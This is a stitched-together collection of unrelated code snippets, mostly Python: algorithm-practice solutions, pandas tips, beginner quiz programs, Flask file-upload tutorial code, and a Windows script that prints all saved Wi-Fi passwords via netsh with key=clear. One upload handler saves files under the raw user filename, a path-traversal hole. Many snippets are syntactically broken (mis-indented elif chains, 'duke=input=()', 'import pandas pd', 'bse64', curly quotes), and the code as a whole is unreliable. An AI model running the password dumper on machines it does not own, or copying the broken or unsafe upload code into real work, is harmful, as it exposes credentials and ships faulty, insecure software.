    'wmic csproduct get uuid')).split('\\r\\n')[1].strip('\\r').strip()
data = requests.get(
    'https://gist.githubusercontent.com/rishav394/z/raw/x')
if hwid in data.text:
    print('Authenticated!')
    auth = True
else:
    print(hwid + ' was not found on the server.\nNot authorised!')
def format_time(minutes):
    hours_total = minutes // 60
    # Get additional minutes with modulus
    minutes_total = minutes % 60
    # Create time as a string
    time_string = "{} hours {} minutes".format(hours_total, minutes_total)
    return time_string
def generateParenthesis(n):
    #only add parentehsis if openN < n 
    #only add close parenthesis if closeN < openN 
    #valid if open == closed == n 

    stack = []
    res = []
    
    def backtrack(openN, closeN): 
        if openN == closeN == n: 
            res.append("".join(stack))
            return 
        if openN < n: 
            stack.append('(')
            backtrack(openN + 1, closeN)
            stack.pop()
        if closeN < openN: 
            stack.append(")")
            backtrack(openN, closeN + 1)
            stack.pop()
        #stack.pop() is necessary to clean up stack and come up with other solutions 
        
    backtrack(0, 0)
    #concept is you build openN, closeN but initially, they are at 0 
    return res 

generateParenthesis(3)
def dutch_flag_sort(arr):
  #set low and high pointer 
  low, high = 0, len(arr) - 1 

  i = 0 

  #iterate through arr 
  while i <= high: 
    #if arr[i] is 0, set it before low via swapping 
    #elif arr[i] is 2, set it after high via swapping 
    #elif arr[i] is 1, it will naturally fall in the middle 
    if arr[i] == 0: 
      arr[i], arr[low] = arr[low], arr[i] 
      low += 1 
      i += 1 
    elif arr[i] == 1: 
      i += 1 
    else: #arr[i] == 2: 
      arr[i], arr[high] = arr[high], arr[i] 
      high -= 1 
    
  
  return   
def find_subarrays(arr, target):
  def Remove(lst):
    return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}])
  result = []
  #iterate through arr (up to len(arr) - 1) 
  for i in range(len(arr) - 1): 
      first = arr[i]
      second = arr[i + 1] 
      product = first * second 
      if first < target and first not in result: 
          result.append([first]) 
      if second < target and second not in result: 
          result.append([second])
      if product < target: 
        result.append([first, second]) 
      else: 
          continue 
    

  
  return Remove(result)  


#alternate solution that avoids making duplicate sublists in the first place 
from collections import deque


def find_subarrays(arr, target):
  result = []
  product = 1
  left = 0
  for right in range(len(arr)):
    product *= arr[right]
    while (product >= target and left <= right):
      product /= arr[left]
      left += 1
    # since the product of all numbers from left to right is less than the target therefore,
    # all subarrays from left to right will have a product less than the target too; to avoid
    # duplicates, we will start with a subarray containing only arr[right] and then extend it
    temp_list = deque()
    for i in range(right, left-1, -1):
      temp_list.appendleft(arr[i])
      result.append(list(temp_list))
  return result


def main():
  print(find_subarrays([2, 5, 3, 10], 30))
  print(find_subarrays([8, 2, 6, 5], 50))


main()
def length_of_longest_substring(arr, k):
  #set start, maxLength, maxRepeat 
  start, maxLength, maxRepeat = 0, 0, 0 
  #set frequencyDict 
  frequencyDict = {} 
  
  #iterate through arr
  for end in range(len(arr)): 
    #add to frequencyDict 
    right = arr[end]
    if right not in frequencyDict: 
        frequencyDict[right] = 1 
    else: 
        frequencyDict[right] += 1 
    #find maxRepeat 
    maxRepeat = max(maxRepeat, frequencyDict[right]) 
    
    #evaluate window 
    if (end - start + 1 - maxRepeat) > k: 
        #reduce window by 1 and adjust frequency map 
        left = arr[start] 
        frequencyDict[left] -= 1 
        start += 1 
    
    #check maxLength 
    maxLength = max(maxLength, end - start + 1) 

  return maxLength

length_of_longest_substring([0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1], 3)

df = ...

mask = [True, False, True, True]

df[mask]

# Alternatively, you can use
df.loc[[mask]
text = "X-DSPAM-Confidence:    0.8475"
indexof0 = text.find('0')
intindexof0 = int(indexof0)
indexof5 = text.find('5')
intindexof5 = int(indexof5)
Extract = text[intindexof0:intindexof5+1]
print(float(Extract))
fruit1 = input('Please enter the name of first fruit:\n')
fruit2 = input('Please enter the name of second fruit:\n')

if fruit1 < fruit2:
    print(fruit1 + " comes before " + fruit2 + " in the dictionary.")
elif fruit1 > fruit2:
    print(fruit1 + " comes after " + fruit2 + " in the dictionary.")
else:
    print(fruit1 + " and " + fruit2 + " are same.")
# variable.find() searches for the position of one string within another. Values printed are the index of the substring. Outputs are in comment. 
data = 'From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008'
atpos = data.find('@')
print(atpos)
# 21
sppos = data.find(' ',atpos)
print(sppos)
# 31
host = data[atpos+1:sppos]
print(host)
# uct.ac.za
class Solution:
    def checkInclusion(self, s1: str, s2: str) -> bool:
        s1Dict = {}
    
        for char in s1: 
            if char not in s1Dict: 
                s1Dict[char] = 1 
            else: 
                s1Dict[char] += 1 

        left = 0 


        compareDict = {}

        for right in range((left + (len(s1) - 1)), len(s2)): 
            if s2[left] in s1: 
                compare = s2[left:right + 1] #makes a list of chars from left to right pointers 
                for char in compare: 
                    if char not in compareDict: 
                        compareDict[char] = 1 
                    else: 
                        compareDict[char] += 1 
                if compareDict == s1Dict: 
                    return True 
                else: 
                    compareDict.clear() 
                    left += 1 
                    continue 



            else: 
                left += 1 

        return False 
class Solution:
    def maxArea(self, height: List[int]) -> int:
        left, right = 0, len(height) - 1 
        
        maxArea = 0 
        
        while left < right: 
            heightOne = height[left] 
            heightTwo = height[right] 
            
            area = min(heightOne, heightTwo) * (right - left) 
            maxArea = max(area, maxArea) 
            
            if heightTwo >= heightOne: #if heights are equal, it doesn't matter if you move left or right pointer 
                left += 1 
            elif heightTwo < heightOne: 
                right -= 1 
            
        return maxArea 
        
        
# BRUTE FORCE 
#         maxArea = 0 

#         for i in range(len(height)): 
#             for secondI in range(i + 1, len(height)): 
#                 heightOne = height[i]
#                 heightTwo = height[secondI]
#                 area = min(heightOne, heightTwo) * (secondI - i) 
#                 maxArea = max(area, maxArea) 

#         return maxArea 
from matplotlib.patches import Rectangle
import matplotlib.pyplot as plt
import matplotlib.colors as mcolors


def plot_colortable(colors, sort_colors=True, emptycols=0):

    cell_width = 212
    cell_height = 22
    swatch_width = 48
    margin = 12

    # Sort colors by hue, saturation, value and name.
    if sort_colors is True:
        by_hsv = sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgb(color))),
                         name)
                        for name, color in colors.items())
        names = [name for hsv, name in by_hsv]
    else:
        names = list(colors)

    n = len(names)
    ncols = 4 - emptycols
    nrows = n // ncols + int(n % ncols > 0)

    width = cell_width * 4 + 2 * margin
    height = cell_height * nrows + 2 * margin
    dpi = 72

    fig, ax = plt.subplots(figsize=(width / dpi, height / dpi), dpi=dpi)
    fig.subplots_adjust(margin/width, margin/height,
                        (width-margin)/width, (height-margin)/height)
    ax.set_xlim(0, cell_width * 4)
    ax.set_ylim(cell_height * (nrows-0.5), -cell_height/2.)
    ax.yaxis.set_visible(False)
    ax.xaxis.set_visible(False)
    ax.set_axis_off()

    for i, name in enumerate(names):
        row = i % nrows
        col = i // nrows
        y = row * cell_height

        swatch_start_x = cell_width * col
        text_pos_x = cell_width * col + swatch_width + 7

        ax.text(text_pos_x, y, name, fontsize=14,
                horizontalalignment='left',
                verticalalignment='center')

        ax.add_patch(
            Rectangle(xy=(swatch_start_x, y-9), width=swatch_width,
                      height=18, facecolor=colors[name], edgecolor='0.7')
        )

    return fig

plot_colortable(mcolors.TABLEAU_COLORS, sort_colors=False, emptycols=2)
def length_of_longest_substring(str1, k):
    window_start, max_length, max_repeat_letter_count = 0, 0, 0 
    
    frequency_map = {} 
    
    #try to extend window [window_start, window_end] 
    for window_end in range(len(str1)): 
        right_char = str1[window_end]
        if right_char not in frequency_map: 
            frequency_map[right_char] = 1 
        else: 
            frequency_map[right_char] += 1 
    
        #we don't need to place the maxRepeatLetterCount under the below 'if'
        #while shrinking window, we don't need to update maxRepeatLetterCount 
        #since we are only interested in longest valid substring, our sliding windows do not have to shrink even if a window may cover an invalid substring 
        max_repeat_letter_count = max(max_repeat_letter_count, frequency_map[right_char]) 
        
        #determine if window is still valid 
        #if remaining letters are more than k, it is time to shrink window as we are not allowed to replace more than k letters 
        evaluate_window = window_end - window_start + 1 - max_repeat_letter_count
        if evaluate_window > k: 
            left_char = str1[window_start] 
            frequency_map[left_char] -= 1 
            window_start += 1 
        
        max_length = max(max_length, window_end - window_start + 1) 
    
    return max_length 

length_of_longest_substring("aabccbb", 2)








#alternate solution 
class Solution:
    def characterReplacement(self, s: str, k: int) -> int:
        count = {}
        
        result = 0 
        
        left = 0 
        
        for right in range(len(s)): 
            #add s[right] to count dictionary 
            count[s[right]] = 1 + count.get(s[right], 0) #if s[right] does not exist in count hashmap, then set default value to 0 
            
            #make sure current window is valid 
            #while (windowLength - length of most frequent char in count hashmap) > k 
            while (right - left + 1) - max(count.values()) > k: #this statement means window is no longer valid 
                #need to remove one from s[left] 
                count[s[left]] -= 1 
                left += 1 
            
            
            result = max(result, right - left + 1)
        
        return result 
# The best you can do is create a new string that is a variation on the original
greeting = 'Hello, world!'
new_greeting = 'J' + greeting[1:]
print(new_greeting)

#output
Jello, world!
class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
        result = []
        
        nums.sort() 
        
        for i, a in enumerate(nums): 
            if i > 0 and a == nums[i - 1]: #this is so you don't reuse same value twice to avoid duplicates at end 
                continue 
            
            #next part is basically two sum 
            
            l, r = i + 1, len(nums) - 1 
            
            while l < r: 
                threeSum = a + nums[l] + nums[r] 
                
                if threeSum > 0: 
                    r -= 1 
                elif threeSum < 0: 
                    l += 1 
                else: 
                    result.append([a, nums[l], nums[r]])
                    #only need to shift left pointer as right pointer will be moved by code above 
                    l += 1 
                    while nums[l] == nums[l - 1] and l < r: 
                        l += 1 
            
        return result 
      
      
#two sum solutions below for reference 
      
def twoSum(numbers, target): 
  left = 0 
  right = len(numbers) - 1 
  compare = 0 

  for i in range(0, len(numbers)): 
    compare = numbers[left] + numbers[right] 
    if compare > target: 
      right -= 1 
      elif compare < target: 
        left += 1 
        elif compare == target: 
          return [left + 1, right + 1] 

        
def twoSum(self, nums: List[int], target: int) -> List[int]:
  num_dictionary = {}
  for i in range(0, len(nums)):
    number = nums[i]
    if target - number not in num_dictionary: 
      #number will be key and index (i) will be value 
      #adding number to dictionary AFTER checking 1st value 
      #if [2, 1, 3] and target = 4, 4 -2 = 2 and 2 will be present in dictionary but we cannot use 2 + 2 
      num_dictionary[number] = i 
      elif target - number in num_dictionary: 
        return [i, num_dictionary[target - number]]




fruit = "banana"
for char in fruit:
    print(char)

#output
b
a
n
a
n
a
fruit = 'banana'
index = 0
while index < len(fruit):
    letter = fruit[index]
    print(letter)
    index = index + 1

#output
b
a
n
a
n
a
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")

elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")

bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")

elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")

elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()

if(duke=="206"):
	print("Jesus why do you know that, is so specific."

if(duke!="206"):
    print("Honestly I didn't know either I dont blame you for not knwowing one bit.")
print("It would seem as if the quiz is over, I know it didnt end as a math quiz but I sure had fun. See you later... or not." )



    
count = 0 #Set the variable count to zero before the loop starts
for i in [3, 41, 12, 9, 74, 15]: # Our iteration variable, itervar, controls the loop and cause the loop body to be executed once for each values in list.
    count = count + 1  #In the body of the loop, we add 1 to the current value of count
print('Count: ', count)
# Once the loop completes, the value of count is the total number of items
# Comment on a single line

user = "JDoe" # Comment after code
import re

regex = re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})+')

def isValid(email):
    if re.fullmatch(regex, email):
      print("Valid email")
    else:
      print("Invalid email")
def check_if_vowel(word):
    count_v = 0
    for letter in word.lower():
            if letter == "a" or letter == "i" or letter == "o" or letter == "u":
                count_v =+1
            return count_v
        
ans = input("Word of choise:")

print(f"It has {check_if_vowel(ans)} vowels")
class Solution:
    def longestConsecutive(self, nums: List[int]) -> int:
        numlist = set(nums) 
        #you need set or else it's too slow 
        longest = 0 
        
        #the concept is you are checking to see if there is a left neighbor. If not, then there is a new sequence of conseuctive numbers. 
        
        for n in nums: 
            if (n - 1) not in numlist: 
                length = 0 
                while (n + length) in numlist: 
                    length += 1 
                longest = max(length, longest)
        return longest 
class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        #if there were no time complexity restriction, you can use nested for loops and just continue if index of first for loop == index of second for loop 
        #if there were no divsion restriction, you can just find prod(nums) len(nums) times and divide by num[i] and append to result 
        
        res = [1] * len(nums) 
        
        prefix = 1 
        
        for i in range(len(nums)): 
            res[i] = prefix 
            prefix *= nums[i] 
        postfix = 1 
        for i in range(len(nums) - 1, -1, -1): 
            res[i] *= postfix 
            postfix *= nums[i] 
        return res 
        
        
        
            
#must be in O(N) time, O(1) space, and not use divide operator             
            
class Solution:
    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
        def Remove(lst): #to remove repeats at end 
            return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}]) 
    
    
        result = []
        for i in range(0, len(strs)): 
            anagram_subset = [strs[i]]
            sorted_string = sorted(strs[i]) 
            for d in range(0, len(strs)):
            #to avoid repeat 
            #maybe change to start, end pointers to avoid making duplicate in first place? 
                if d == i: 
                    continue 
                if sorted(strs[d]) == sorted_string: 
                    anagram_subset.append(strs[d])
            anagram_subset.sort()
            result.append(anagram_subset)
            anagram_subset = [] 
        return Remove(result) 

#Big O is n * n * n log N lol 

#more efficient solution 

	def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
          res = defaultdict(list) #map charCount to list of anagrams 

          for s in strs: 
            count = [0] * 26 # a ... z 

            for c in s: 
              count[ord(c) - ord("a")] += 1 #mapping to ASCII and then adding 1 so that a = 1, b = 2, etc. 

              res[tupule(count)].append(s) 

          return res.values()

        #big O(m * n * 26) which is just (m * n)
from dash.dash_table.Format import Format, Group, Scheme, Symbol

columns=[{            
    'id': 'euros',
    'name': 'euros',
    'type': 'numeric',
    'format': Format(
        scheme=Scheme.fixed, 
        precision=2,
        group=Group.yes,
        groups=3,
        group_delimiter=', ',
        decimal_delimiter='.',
        symbol=Symbol.yes, 
        symbol_prefix=u'€')
}]
import asyncio

import httpx


async def main():
	async with httpx.AsyncClient() as client:
		resp = await client.get("https://python.org")
        http_text = await resp.text()
		print(http_text)


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
# Raise warning if duplicate is detected
df_combined = pd.concat([df1, df2], axis=1) \
								.set_flags(allow_duplicate_labels=False)

# Check if duplicates exist then remove
df_combined = df.loc[:. ~df_combined.columns.duplicated()].copy()
df['Categorical_Column'] = df['Categorical_Column'].astype('category')
df_merged = df1.merge(df2, on=['colName'], suffixes=('_mens', '_womens'))
df['Percent_Change'] = df['Revenue'].pct_change()
df['Sales_Difference'] = df['Units'].diff()
valA = "abc"
valB = 50

df.query('colA == @valA and colB < @valB')
# librerias necesarias
import glob
import cv2
import matplotlib.pyplot as plt
#Leer y mostrar una sola imagen
file = 'D:\BinaryStudy\demo\Images\image001.tif'
image = cv2.imread(file)
cv2.imshow('display', image)
cv2.waitKey(0)
cv2.destrouAllWindows() 
#Leer todas la imagenes
file = 'D:\BinaryStudy\demo\Images\*.tif' 
glob.glob(file)
# Using List Comprehension to read all images
images = [cv2.imread(image) for image in glob.glob(file)]
#mostrar las imagenes
# Define a figure of size (8, 8)
fig=plt.figure(figsize=(8, 8))
# Define row and cols in the figure
rows, cols = 2, 2
# Display first four images
for j in range(0, cols*rows):
  fig.add_subplot(rows, cols, j+1)
  plt.imshow(images[j])
plt.show()

import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = (20,3)
top_employer_by_country = {}

countries = f500['country'].unique()

for c in countries:
    
    # select only the rows that have a country name equal to current iteration
    selected_rows = f500[f500['country'] == c]
    
    # sort the rows by employees column in descending order
    sorted_rows = selected_rows.sort_values('employees', ascending=False)
    
    # select the first row from the sorted dataframe
    top_employer = sorted_rows.iloc[0]
    
    # extract the company name from the index label company from the first row
    employer_name = top_employer['company']
    
    # assign the results to dictionary using country name as the key and company name as the        value
    top_employer_by_country[c] = employer_name
    
    
import random
print("Hello & welcome to Aidan's Tote shack!")
print("We have Totes of all colors!")
print("Out colors consist of, Red, Blue, Orange, Pink, Cyan, Maroon, Purple and Yellow!")
print("Please type the color you want, you can only choose one!")
 
larisha=input()
 
int = shawn=random.randint(19, 20)
    
 
if(larisha =="red"):
    print("A child... I see, one red tote coming up!")
 
elif(larisha=="pink"):
    print("Ah, either a little girl or a little girl, either way you're paying for it so no problem!")
 
elif(larisha=="blue"):
    print("a man of culture I see, I forsee phat stacks of cash in my wallet.")
 
elif(larisha=="orange"):
    print("Knock knock? Orange you glad we have this color? One orange tote coming up!")
 
elif(larisha=="yellow"):
    print("Wow, a functioning human that accually likes the color yellow. How surprising. One not yellow tote coming up!")
 
elif(larisha=="maroon"):
    print("OoOoOoOo... a dark brooding bad boy, How scary. One pink Maroon Five tote coming up!")
 
elif(larisha=="cyan"):
    print("another child ewwwwwwwwwwww, one abnormally large tote coming up!")
 
elif(larisha=="purple"):
     print("Hmmm it seems we are out of purple ink, you can get a blue tote instead. Sorry for the inconvenience!"):
     print("One Blue tote coming up!")
elif(shawn==20):
    print("Sorry we don't offer that color!")
elif(shawn==19):
    print("Was that color on the list? Try again, next time please read the given options!")
import bse64.b64encode
encoded = b'client_key:client_secret'
token = 'Basic ' + encoded
from abc import ABC, abstractmethod


class Creator(ABC):
    """
    The Creator class declares the factory method that is supposed to return an
    object of a Product class. The Creator's subclasses usually provide the
    implementation of this method.
    """

    @abstractmethod
    def factory_method(self):
        """
        Note that the Creator may also provide some default implementation of
        the factory method.
        """
        pass

    def some_operation(self) -> str:
        """
        Also note that, despite its name, the Creator's primary responsibility
        is not creating products. Usually, it contains some core business logic
        that relies on Product objects, returned by the factory method.
        Subclasses can indirectly change that business logic by overriding the
        factory method and returning a different type of product from it.
        """

        # Call the factory method to create a Product object.
        product = self.factory_method()

        # Now, use the product.
        result = f"Creator: The same creator's code has just worked with {product.operation()}"

        return result


"""
Concrete Creators override the factory method in order to change the resulting
product's type.
"""


class ConcreteCreator1(Creator):
    """
    Note that the signature of the method still uses the abstract product type,
    even though the concrete product is actually returned from the method. This
    way the Creator can stay independent of concrete product classes.
    """

    def factory_method(self) -> Product:
        return ConcreteProduct1()


class ConcreteCreator2(Creator):
    def factory_method(self) -> Product:
        return ConcreteProduct2()


class Product(ABC):
    """
    The Product interface declares the operations that all concrete products
    must implement.
    """

    @abstractmethod
    def operation(self) -> str:
        pass


"""
Concrete Products provide various implementations of the Product interface.
"""


class ConcreteProduct1(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct1}"


class ConcreteProduct2(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct2}"


def client_code(creator: Creator) -> None:
    """
    The client code works with an instance of a concrete creator, albeit through
    its base interface. As long as the client keeps working with the creator via
    the base interface, you can pass it any creator's subclass.
    """

    print(f"Client: I'm not aware of the creator's class, but it still works.\n"
          f"{creator.some_operation()}", end="")


if __name__ == "__main__":
    print("App: Launched with the ConcreteCreator1.")
    client_code(ConcreteCreator1())
    print("\n")

    print("App: Launched with the ConcreteCreator2.")
    client_code(ConcreteCreator2())
import pandas pd

excel_file = pd.read_excel(‘file.xlsx’, sheet_name=None)
dataset_combined = pd.concat(excel_file.values())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#..................python program to find the wifi passwords.....!
import subprocess
 
# now we will store the profiles data in "data" variable by 
# running the 1st cmd command using subprocess.check_output
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
# now we will store the profile by converting them to list
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
 
# using for loop in python we are checking and printing the wifi 
# passwords if they are available using the 2nd cmd command
for i in profiles:
    # running the 2nd cmd command to check passwords
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 
                        'key=clear']).decode('utf-8').split('\n')
    # storing passwords after converting them to list
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    # printing the profiles(wifi name) with their passwords using 
    # try and except method 
    try:
        print ("{:<30}|  {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}|  {:<}".format(i, ""))
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8" />
      <meta http-equiv="X-UA-Compatible" content="IE=edge" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>PyScript</title>

      <!-- styles and script dependencies -->
      <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
      <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
   </head>
   <body>
      <!-- title -->
      <h3>Testing python code in HTML</h3>

      <!-- python code -->
      <py-script> print('Now you can!') </py-script>
     
   </body>
</html>
#pip install beautifulsoup4

import os
import requests
from bs4 import BeautifulSoup

url = "https://www.google.com/"
reponse = requests.get(url)

if reponse.ok:
	soup = BeautifulSoup(reponse.text, "lxml")
	title = str(soup.find("title"))

	title = title.replace("<title>", "")
	title = title.replace("</title>", "")
	print("The title is : " + str(title))

os.system("pause")

#python (code name).py
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return '', 204

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413
@app.route('/uploads/<filename>')
@login_required
def upload(filename):
    return send_from_directory(os.path.join(
        app.config['UPLOAD_PATH'], current_user.get_id()), filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)  # 512 bytes should be enough for a header check
    stream.seek(0)  # reset stream pointer
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0) 
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
import imghdr

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS']:
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
>>> from werkzeug.utils import secure_filename
>>> secure_filename('foo.jpg')
'foo.jpg'
>>> secure_filename('/some/path/foo.jpg')
'some_path_foo.jpg'
>>> secure_filename('../../../.bashrc')
'bashrc'
uploaded_file.save(os.path.join('static/avatars', current_user.get_id()))
    filename = uploaded_file.filename
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in current_app.config['UPLOAD_EXTENSIONS']:
            abort(400)
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_file():
    uploaded_file = request.files['file']
    if uploaded_file.filename != '':
        uploaded_file.save(uploaded_file.filename)
    return redirect(url_for('index'))
<!doctype html>
<html>
  <head>
    <title>File Upload</title>
  </head>
  <body>
    <h1>File Upload</h1>
    <form method="POST" action="" enctype="multipart/form-data">
      <p><input type="file" name="file"></p>
      <p><input type="submit" value="Submit"></p>
    </form>
  </body>
</html>
import win32gui
import win32.lib.win32con as win32con
memo_app = win32gui.FindWindow(None,'タイトルなし - メモ帳')    #「タイトルなし - メモ帳」という名前のウィンドウハンドルを取得
win32gui.SetForegroundWindow(memo_app)                         #ウィンドウを最前面に移動してアクティブ化
win32gui.ShowWindow(memo_app, win32con.SW_MAXIMIZE)            #ウィンドウを最大化
(pd.DataFrame([{"email":[114, 111, 98, 46, 106, 46, 114, 97, 121, 109, 111, 110, 
                        100, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109]}])
 .assign(email=lambda d: d.email.apply(lambda l: "".join([chr(c) for c in l])))
)